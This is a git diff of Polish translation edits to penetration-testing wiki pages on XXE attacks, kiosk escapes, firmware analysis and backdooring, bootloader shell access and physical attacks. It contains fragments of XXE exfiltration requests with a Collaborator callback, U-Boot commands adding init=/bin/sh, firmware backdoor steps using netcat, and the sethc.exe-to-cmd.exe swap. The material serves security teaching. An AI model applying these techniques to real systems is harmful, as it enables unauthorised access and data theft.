-Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje: +Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając kilku domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje: ```xml @@ -219,7 +219,7 @@ Testing 0 entities : [] Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**. -Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML. +Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zanalizować przynajmniej jeden plik XML. Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany. @@ -229,7 +229,7 @@ Zmodyfikowane linie XML powinny być wstawione między dwa obiekty XML root. Wa Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie: -Teraz utworzony plik może zostać przesłany do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator. +Teraz utworzony plik może zostać przesłany do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w logach Burp Collaboratora. ### Jar: protokół @@ -239,7 +239,7 @@ jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` > [!CAUTION] -> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd). +> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą plików DTD systemu.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać plików DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd). Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków: @@ -249,13 +249,13 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar 4. Odczytywany jest konkretny plik w archiwum, `file.zip`. 5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane. -Interesującą techniką przerwania tego procesu na drugim kroku jest utrzymanie połączenia z serwerem otwartego na czas nieokreślony podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`). +Interesującą techniką przerwania tego procesu na drugim etapie jest utrzymanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`). ```xml ]> &xxe; ``` > [!CAUTION] -> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.). +> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takich jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.). ### XSS ```xml @@ -302,13 +302,13 @@ i wysyłając następujące żądanie ]> &example; ``` -Then you can try to crack the hash using hashcat +Możesz spróbować złamać hash za pomocą hashcat ## Ukryte powierzchnie XXE ### XInclude -Podczas integrowania danych klienta z dokumentami XML po stronie serwera, takimi jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana. +Podczas integrowania danych klienta z dokumentami XML po stronie serwera, takimi jak te w zapytaniach SOAP w backendzie, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana. Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak można sformułować: ```xml @@ -320,7 +320,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web- Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML. -Gdy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity). +Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity). Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe: ```xml @@ -332,7 +332,7 @@ Inna metoda polega na próbie **wykonania poleceń** za pomocą wrappera PHP "ex ``` -W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, podkreślając potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa. +W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML w oprogramowaniu serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa. Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji! @@ -396,7 +396,7 @@ Content-Type: application/xml;charset=UTF-8 ``` Inny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). -## WAF & Obejścia Ochrony +## WAF i obejścia zabezpieczeń ### Base64 ```xml @@ -478,7 +478,7 @@ XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standary ### Analiza Żądania Blind -Wysłano żądanie do serwera z następującą treścią: +Żądanie jest wysyłane do serwera z następującą treścią: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -490,7 +490,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Jednak to żądanie wywołuje błąd wewnętrzny serwera, konkretnie wspominając o problemie z deklaracjami znaczników: +Jednakże, to żądanie wywołuje błąd wewnętrzny serwera, konkretnie wspominając o problemie z deklaracjami znaczników: ```json { "status": 500, @@ -498,9 +498,9 @@ Jednak to żądanie wywołuje błąd wewnętrzny serwera, konkretnie wspominają "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." } ``` -Pomimo błędu, rejestruje się trafienie w Burp Collaborator, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką. +Mimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką. -Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie: +Out of Band Data Exfiltration Aby wyekstrahować dane, wysyłane jest zmodyfikowane żądanie: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -512,7 +512,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Java jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band. +To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band. Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku: ```xml @@ -607,9 +607,9 @@ Używając filtru base64 w PHP ``` ## Java XMLDecoder XEE do RCE -XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze. +XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła zmusić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze. -### Używając Runtime().exec() +### Używanie Runtime().exec() ```xml diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md index 93ae608f8..20c311ef8 100644 --- a/src/physical-attacks/escaping-from-gui-applications/README.md +++ b/src/physical-attacks/escaping-from-gui-applications/README.md @@ -32,7 +32,7 @@ _bash, sh, zsh..._ Więcej tutaj: [https://gtfobins.github.io/](https://gtfobins # Windows -## Obejście ograniczeń ścieżek +## Ominięcie ograniczeń ścieżek - **Zmienne środowiskowe**: Istnieje wiele zmiennych środowiskowych, które wskazują na jakąś ścieżkę - **Inne protokoły**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ @@ -40,7 +40,7 @@ _bash, sh, zsh..._ Więcej tutaj: [https://gtfobins.github.io/](https://gtfobins - **Skróty**: CTRL+N (otwórz nową sesję), CTRL+R (wykonaj polecenia), CTRL+SHIFT+ESC (Menadżer zadań), Windows+E (otwórz eksplorator), CTRL-B, CTRL-I (Ulubione), CTRL-H (Historia), CTRL-L, CTRL-O (Plik/Otwórz), CTRL-P (Okno drukowania), CTRL-S (Zapisz jako) - Ukryte menu administracyjne: CTRL-ALT-F8, CTRL-ESC-F9 - **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -- **Ścieżki UNC**: Ścieżki do połączenia z folderami udostępnionymi. Powinieneś spróbować połączyć się z C$ lokalnej maszyny ("\\\127.0.0.1\c$\Windows\System32") +- **Ścieżki UNC**: Ścieżki do połączenia z udostępnionymi folderami. Powinieneś spróbować połączyć się z C$ lokalnej maszyny ("\\\127.0.0.1\c$\Windows\System32") - **Więcej ścieżek UNC:** | UNC | UNC | UNC | @@ -96,7 +96,7 @@ Edytor rejestru: [https://sourceforge.net/projects/uberregedit/](https://sourcef - CTRL+T – Internet Explorer – Nowa karta - CTRL+N – Internet Explorer – Nowa strona - CTRL+O – Otwórz plik -- CTRL+S – Zapisz CTRL+N – Nowe RDP / Citrix +- CTRL+S – Zapisz CTRL+N – Nowy RDP / Citrix ## Przesunięcia @@ -184,23 +184,23 @@ Powinieneś mieć klawiaturę iPada lub adapter USB do klawiatury. Tylko skróty | Klawisz | Nazwa | | --- | ------------ | | ⌘ | Komenda | -| ⌥ | Opcja (Alt) | +| ⌥ | Opcja (Alt) | | ⇧ | Shift | | ↩ | Powrót | | ⇥ | Tab | -| ^ | Kontrola | +| ^ | Kontrola | | ← | Strzałka w lewo | | → | Strzałka w prawo | | ↑ | Strzałka w górę | -| ↓ | Strzałka w dół | +| ↓ | Strzałka w dół | ### Skróty systemowe Te skróty dotyczą ustawień wizualnych i dźwiękowych, w zależności od użycia iPada. -| Skrót | Akcja | +| Skrót | Działanie | | -------- | ------------------------------------------------------------------------------ | -| F1 | Przyciemnij ekran | +| F1 | Przyciemnij ekran | | F2 | Rozjaśnij ekran | | F7 | Wróć do poprzedniej piosenki | | F8 | Odtwarzaj/pauzuj | @@ -212,7 +212,7 @@ Te skróty dotyczą ustawień wizualnych i dźwiękowych, w zależności od uży ### Nawigacja po iPadzie -| Skrót | Akcja | +| Skrót | Działanie | | -------------------------------------------------- | ------------------------------------------------------- | | ⌘H | Przejdź do ekranu głównego | | ⌘⇧H (Command-Shift-H) | Przejdź do ekranu głównego | @@ -240,7 +240,7 @@ Te skróty dotyczą ustawień wizualnych i dźwiękowych, w zależności od uży ### Skróty Safari -| Skrót | Akcja | +| Skrót | Działanie | | ----------------------- | ------------------------------------------------ | | ⌘L (Command-L) | Otwórz lokalizację | | ⌘T | Otwórz nową kartę | @@ -257,7 +257,7 @@ Te skróty dotyczą ustawień wizualnych i dźwiękowych, w zależności od uży ### Skróty Mail -| Skrót | Akcja | +| Skrót | Działanie | | -------------------------- | ---------------------------- | | ⌘L | Otwórz lokalizację | | ⌘T | Otwórz nową kartę | diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md index b3df85912..306029e47 100644 --- a/src/physical-attacks/firmware-analysis/README.md +++ b/src/physical-attacks/firmware-analysis/README.md @@ -4,7 +4,7 @@ ## **Wprowadzenie** -Oprogramowanie układowe to niezbędne oprogramowanie, które umożliwia urządzeniom prawidłowe działanie, zarządzając i ułatwiając komunikację między komponentami sprzętowymi a oprogramowaniem, z którym użytkownicy wchodzą w interakcję. Jest przechowywane w pamięci trwałej, co zapewnia, że urządzenie może uzyskać dostęp do istotnych instrukcji od momentu włączenia, prowadząc do uruchomienia systemu operacyjnego. Badanie i potencjalna modyfikacja oprogramowania układowego to kluczowy krok w identyfikacji luk w zabezpieczeniach. +Oprogramowanie układowe to niezbędne oprogramowanie, które umożliwia urządzeniom prawidłowe działanie, zarządzając i ułatwiając komunikację między komponentami sprzętowymi a oprogramowaniem, z którym użytkownicy wchodzą w interakcje. Jest przechowywane w pamięci trwałej, co zapewnia, że urządzenie może uzyskać dostęp do istotnych instrukcji od momentu włączenia, prowadząc do uruchomienia systemu operacyjnego. Badanie i potencjalna modyfikacja oprogramowania układowego to kluczowy krok w identyfikacji luk w zabezpieczeniach. ## **Zbieranie informacji** @@ -65,7 +65,7 @@ Binwalk zazwyczaj wyodrębnia go w **folderze nazwanym zgodnie z typem systemu p #### Ręczne wyodrębnianie systemu plików -Czasami binwalk **nie ma magicznego bajtu systemu plików w swoich sygnaturach**. W takich przypadkach użyj binwalk, aby **znaleźć offset systemu plików i wyciąć skompresowany system plików** z binarnego pliku oraz **ręcznie wyodrębnić** system plików zgodnie z jego typem, korzystając z poniższych kroków. +Czasami binwalk **nie ma magicznego bajtu systemu plików w swoich sygnaturach**. W takich przypadkach użyj binwalk, aby **znaleźć offset systemu plików i wyciąć skompresowany system plików** z binarnego i **ręcznie wyodrębnić** system plików zgodnie z jego typem, korzystając z poniższych kroków. ``` $ binwalk DIR850L_REVB.bin @@ -113,7 +113,7 @@ Pliki będą w katalogu "`squashfs-root`" po tym. ## Analiza Oprogramowania Układowego -Gdy oprogramowanie układowe jest już zdobyte, istotne jest jego rozłożenie w celu zrozumienia struktury i potencjalnych luk. Proces ten polega na wykorzystaniu różnych narzędzi do analizy i wydobywania cennych danych z obrazu oprogramowania układowego. +Gdy oprogramowanie układowe jest już dostępne, istotne jest jego rozłożenie w celu zrozumienia struktury i potencjalnych luk w zabezpieczeniach. Proces ten polega na wykorzystaniu różnych narzędzi do analizy i wydobywania cennych danych z obrazu oprogramowania układowego. ### Narzędzia do Wstępnej Analizy @@ -128,11 +128,11 @@ fdisk -lu #lists partitions and filesystems, if there are multiple ``` Aby ocenić status szyfrowania obrazu, sprawdzana jest **entropia** za pomocą `binwalk -E `. Niska entropia sugeruje brak szyfrowania, podczas gdy wysoka entropia wskazuje na możliwe szyfrowanie lub kompresję. -Do ekstrakcji **osadzonych plików** zaleca się korzystanie z dokumentacji **file-data-carving-recovery-tools** oraz **binvis.io** do inspekcji plików. +Do **wyodrębniania plików osadzonych** zaleca się korzystanie z dokumentacji **file-data-carving-recovery-tools** oraz **binvis.io** do inspekcji plików. -### Ekstrakcja systemu plików +### Wyodrębnianie systemu plików -Używając `binwalk -ev `, można zazwyczaj wyodrębnić system plików, często do katalogu nazwanego na cześć typu systemu plików (np. squashfs, ubifs). Jednak gdy **binwalk** nie rozpoznaje typu systemu plików z powodu brakujących bajtów magicznych, konieczna jest ręczna ekstrakcja. Polega to na użyciu `binwalk` do zlokalizowania offsetu systemu plików, a następnie polecenia `dd` do wycięcia systemu plików: +Używając `binwalk -ev `, można zazwyczaj wyodrębnić system plików, często do katalogu nazwanego na cześć typu systemu plików (np. squashfs, ubifs). Jednak gdy **binwalk** nie rozpoznaje typu systemu plików z powodu brakujących bajtów magicznych, konieczne jest ręczne wyodrębnienie. Wymaga to użycia `binwalk` do zlokalizowania offsetu systemu plików, a następnie polecenia `dd`, aby wyciąć system plików: ```bash $ binwalk DIR850L_REVB.bin @@ -164,7 +164,7 @@ Zarówno kod źródłowy, jak i skompilowane binaria znalezione w systemie plik ## Emulacja oprogramowania układowego do analizy dynamicznej -Proces emulacji oprogramowania układowego umożliwia **analizę dynamiczną** zarówno działania urządzenia, jak i pojedynczego programu. Podejście to może napotkać trudności związane z zależnościami sprzętowymi lub architektonicznymi, ale przeniesienie systemu plików root lub konkretnych binariów na urządzenie o dopasowanej architekturze i endianness, takie jak Raspberry Pi, lub na wstępnie zbudowaną maszynę wirtualną, może ułatwić dalsze testowanie. +Proces emulacji oprogramowania układowego umożliwia **analizę dynamiczną** działania urządzenia lub pojedynczego programu. Podejście to może napotkać trudności związane z zależnościami sprzętowymi lub architektonicznymi, ale przeniesienie systemu plików root lub konkretnych binariów na urządzenie o dopasowanej architekturze i endianness, takie jak Raspberry Pi, lub na wstępnie zbudowaną maszynę wirtualną, może ułatwić dalsze testowanie. ### Emulacja pojedynczych binariów @@ -192,24 +192,24 @@ Narzędzia takie jak [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmw ## Analiza dynamiczna w praktyce -Na tym etapie używa się rzeczywistego lub emulowanego środowiska urządzenia do analizy. Ważne jest, aby utrzymać dostęp do powłoki systemu operacyjnego i systemu plików. Emulacja może nie idealnie odwzorowywać interakcje sprzętowe, co wymaga okazjonalnych restartów emulacji. Analiza powinna ponownie przeszukać system plików, wykorzystać ujawnione strony internetowe i usługi sieciowe oraz zbadać luki w bootloaderze. Testy integralności firmware są kluczowe do identyfikacji potencjalnych luk backdoor. +Na tym etapie używa się rzeczywistego lub emulowanego środowiska urządzenia do analizy. Ważne jest, aby utrzymać dostęp do powłoki systemu operacyjnego i systemu plików. Emulacja może nie idealnie odwzorowywać interakcje sprzętowe, co wymaga okazjonalnych restartów emulacji. Analiza powinna ponownie przeglądać system plików, wykorzystywać ujawnione strony internetowe i usługi sieciowe oraz badać luki w bootloaderze. Testy integralności firmware są kluczowe do identyfikacji potencjalnych luk backdoor. ## Techniki analizy w czasie rzeczywistym -Analiza w czasie rzeczywistym polega na interakcji z procesem lub binarnym w jego środowisku operacyjnym, przy użyciu narzędzi takich jak gdb-multiarch, Frida i Ghidra do ustawiania punktów przerwania i identyfikacji luk poprzez fuzzing i inne techniki. +Analiza w czasie rzeczywistym polega na interakcji z procesem lub binarnym w jego środowisku operacyjnym, przy użyciu narzędzi takich jak gdb-multiarch, Frida i Ghidra do ustawiania punktów przerwania i identyfikowania luk poprzez fuzzing i inne techniki. ## Eksploatacja binarna i dowód koncepcji -Opracowanie PoC dla zidentyfikowanych luk wymaga głębokiego zrozumienia docelowej architektury i programowania w językach niskiego poziomu. Ochrony w czasie rzeczywistym w systemach wbudowanych są rzadkie, ale gdy są obecne, techniki takie jak Return Oriented Programming (ROP) mogą być konieczne. +Opracowanie PoC dla zidentyfikowanych luk wymaga głębokiego zrozumienia architektury docelowej i programowania w językach niskiego poziomu. Ochrony w czasie rzeczywistym w systemach wbudowanych są rzadkie, ale gdy są obecne, techniki takie jak Return Oriented Programming (ROP) mogą być konieczne. ## Przygotowane systemy operacyjne do analizy firmware -Systemy operacyjne takie jak [AttifyOS](https://github.com/adi0x90/attifyos) i [EmbedOS](https://github.com/scriptingxss/EmbedOS) oferują wstępnie skonfigurowane środowiska do testowania bezpieczeństwa firmware, wyposażone w niezbędne narzędzia. +Systemy operacyjne takie jak [AttifyOS](https://github.com/adi0x90/attifyos) i [EmbedOS](https://github.com/scriptingxss/EmbedOS) zapewniają wstępnie skonfigurowane środowiska do testowania bezpieczeństwa firmware, wyposażone w niezbędne narzędzia. ## Przygotowane systemy operacyjne do analizy firmware -- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS to dystrybucja mająca na celu pomoc w przeprowadzaniu oceny bezpieczeństwa i testów penetracyjnych urządzeń Internetu Rzeczy (IoT). Oszczędza to dużo czasu, oferując wstępnie skonfigurowane środowisko z wszystkimi niezbędnymi narzędziami. -- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): System operacyjny do testowania bezpieczeństwa wbudowanego, oparty na Ubuntu 18.04, wstępnie załadowany narzędziami do testowania bezpieczeństwa firmware. +- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS to dystrybucja mająca na celu pomoc w przeprowadzaniu oceny bezpieczeństwa i testów penetracyjnych urządzeń Internetu Rzeczy (IoT). Oszczędza to dużo czasu, zapewniając wstępnie skonfigurowane środowisko z wszystkimi niezbędnymi narzędziami. +- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): System operacyjny do testowania bezpieczeństwa wbudowanego oparty na Ubuntu 18.04, wstępnie załadowany narzędziami do testowania bezpieczeństwa firmware. ## Wrażliwe firmware do ćwiczeń diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md index e023b5abf..f6adad972 100644 --- a/src/physical-attacks/firmware-analysis/bootloader-testing.md +++ b/src/physical-attacks/firmware-analysis/bootloader-testing.md @@ -1,14 +1,14 @@ {{#include ../../banners/hacktricks-training.md}} -Zaleca się następujące kroki w celu modyfikacji konfiguracji uruchamiania urządzenia i bootloaderów, takich jak U-boot: +Zalecane są następujące kroki w celu modyfikacji konfiguracji uruchamiania urządzenia i bootloaderów, takich jak U-boot: 1. **Dostęp do powłoki interpretera bootloadera**: -- Podczas uruchamiania naciśnij "0", spację lub inne zidentyfikowane "magic codes", aby uzyskać dostęp do powłoki interpretera bootloadera. +- Podczas uruchamiania naciśnij "0", spację lub inne zidentyfikowane "magiczne kody", aby uzyskać dostęp do powłoki interpretera bootloadera. 2. **Modyfikacja argumentów uruchamiania**: -- Wykonaj następujące polecenia, aby dodać '`init=/bin/sh`' do argumentów uruchamiania, co umożliwi wykonanie polecenia powłoki: +- Wykonaj następujące polecenia, aby dodać '`init=/bin/sh`' do argumentów uruchamiania, co pozwoli na wykonanie polecenia powłoki: %%% #printenv #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh @@ -34,7 +34,7 @@ Zaleca się następujące kroki w celu modyfikacji konfiguracji uruchamiania urz 5. **Sprawdzenie funkcji debugowania**: -- Zweryfikuj, czy funkcje debugowania, takie jak szczegółowe logowanie, ładowanie dowolnych rdzeni lub uruchamianie z niezaufanych źródeł, są włączone. +- Zweryfikuj, czy funkcje debugowania, takie jak szczegółowe logowanie, ładowanie dowolnych rdzeni lub uruchamianie z nieufnych źródeł, są włączone. 6. **Ostrożność przy zakłóceniu sprzętowym**: diff --git a/src/physical-attacks/firmware-analysis/firmware-integrity.md b/src/physical-attacks/firmware-analysis/firmware-integrity.md index f43e69a44..406511f6e 100644 --- a/src/physical-attacks/firmware-analysis/firmware-integrity.md +++ b/src/physical-attacks/firmware-analysis/firmware-integrity.md @@ -8,11 +8,11 @@ 2. Należy zidentyfikować architekturę oprogramowania układowego i endianness. 3. Można zbudować kompilator krzyżowy za pomocą Buildroot lub innych odpowiednich metod dla środowiska. 4. Backdoor można zbudować za pomocą kompilatora krzyżowego. -5. Backdoor można skopiować do wyodrębnionego katalogu firmware /usr/bin. -6. Odpowiedni binarny plik QEMU można skopiować do wyodrębnionego rootfs oprogramowania układowego. +5. Backdoor można skopiować do wyodrębnionego katalogu oprogramowania układowego /usr/bin. +6. Odpowiedni plik binarny QEMU można skopiować do wyodrębnionego rootfs oprogramowania układowego. 7. Backdoor można emulować za pomocą chroot i QEMU. 8. Backdoor można uzyskać za pomocą netcat. -9. Binarne pliki QEMU należy usunąć z wyodrębnionego rootfs oprogramowania układowego. +9. Plik binarny QEMU należy usunąć z wyodrębnionego rootfs oprogramowania układowego. 10. Zmodyfikowane oprogramowanie układowe można spakować ponownie za pomocą FMK. 11. Oprogramowanie układowe z backdoorem można przetestować, emulując je za pomocą zestawu narzędzi do analizy oprogramowania układowego (FAT) i łącząc się z docelowym adresem IP i portem backdoora za pomocą netcat. @@ -28,7 +28,7 @@ Jeśli już uzyskano dostęp do powłoki root poprzez analizę dynamiczną, mani Jeśli to możliwe, można wykorzystać luki w skryptach uruchamiających, aby uzyskać trwały dostęp do urządzenia po ponownych uruchomieniach. Luki te pojawiają się, gdy skrypty uruchamiające odwołują się do, [linkują symbolicznie](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) lub polegają na kodzie znajdującym się w nieufnych zamontowanych lokalizacjach, takich jak karty SD i wolumeny flash używane do przechowywania danych poza systemami plików root. -## Referencje +## Odniesienia - Aby uzyskać więcej informacji, sprawdź [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md index 7c6d211ee..65058f8d8 100644 --- a/src/physical-attacks/physical-attacks.md +++ b/src/physical-attacks/physical-attacks.md @@ -26,7 +26,7 @@ RAM przechowuje dane przez krótki czas po odcięciu zasilania, zazwyczaj przez ### Live CD/USB do Dostępu do Systemu -Zmiana binarnych plików systemowych, takich jak **_sethc.exe_** lub **_Utilman.exe_**, na kopię **_cmd.exe_** może zapewnić dostęp do wiersza poleceń z uprawnieniami systemowymi. Narzędzia takie jak **chntpw** mogą być używane do edytowania pliku **SAM** instalacji Windows, umożliwiając zmiany hasła. +Zmiana binarnych plików systemowych, takich jak **_sethc.exe_** lub **_Utilman.exe_**, na kopię **_cmd.exe_** może zapewnić dostęp do wiersza poleceń z uprawnieniami systemowymi. Narzędzia takie jak **chntpw** mogą być używane do edytowania pliku **SAM** instalacji Windows, umożliwiając zmiany haseł. **Kon-Boot** to narzędzie, które ułatwia logowanie do systemów Windows bez znajomości hasła, tymczasowo modyfikując jądro Windows lub UEFI. Więcej informacji można znaleźć na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/). @@ -40,7 +40,7 @@ Zmiana binarnych plików systemowych, takich jak **_sethc.exe_** lub **_Utilman. #### Urządzenia BAD USB -Urządzenia takie jak **Rubber Ducky** i **Teensyduino** służą jako platformy do tworzenia **bad USB**, zdolnych do wykonywania zdefiniowanych ładunków po podłączeniu do docelowego komputera. +Urządzenia takie jak **Rubber Ducky** i **Teensyduino** służą jako platformy do tworzenia urządzeń **bad USB**, zdolnych do wykonywania zdefiniowanych ładunków po podłączeniu do docelowego komputera. #### Kopia Cieniowa Woluminu @@ -50,7 +50,7 @@ Uprawnienia administratora pozwalają na tworzenie kopii wrażliwych plików, w Szyfrowanie BitLocker można potencjalnie obejść, jeśli **hasło odzyskiwania** zostanie znalezione w pliku zrzutu pamięci (**MEMORY.DMP**). Narzędzia takie jak 